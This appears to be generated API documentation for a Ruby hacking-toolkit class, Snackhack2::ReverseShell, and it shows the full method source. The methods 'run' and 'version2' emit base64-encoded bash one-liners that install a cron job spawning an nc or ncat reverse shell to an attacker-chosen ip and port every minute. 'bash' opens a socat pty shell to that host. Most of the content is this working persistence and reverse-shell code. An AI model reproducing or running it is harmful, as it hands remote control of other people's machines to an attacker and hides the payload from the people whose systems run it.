Class: Snackhack2::ReverseShell

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/reverse_shell.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initializeReverseShell

Returns a new instance of ReverseShell.



5
6
7
8
# File 'lib/snackhack2/reverse_shell.rb', line 5

def initialize
  @ip   = ip
  @port = port
end

Instance Attribute Details

#ipObject

Returns the value of attribute ip.



4
5
6
# File 'lib/snackhack2/reverse_shell.rb', line 4

def ip
  @ip
end

#portObject

Returns the value of attribute port.



4
5
6
# File 'lib/snackhack2/reverse_shell.rb', line 4

def port
  @port
end

Instance Method Details

#bashObject



24
25
26
27
28
29
# File 'lib/snackhack2/reverse_shell.rb', line 24

def bash
  c = %Q{
		bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
	}
  Process.spawn(c)
end

#runObject



10
11
12
13
14
15
# File 'lib/snackhack2/reverse_shell.rb', line 10

def run
  c = %Q{#!/bin/bash
			line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
end

#version2Object



17
18
19
20
21
22
# File 'lib/snackhack2/reverse_shell.rb', line 17

def version2
  c = %Q{#!/bin/bash
			line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
  puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
end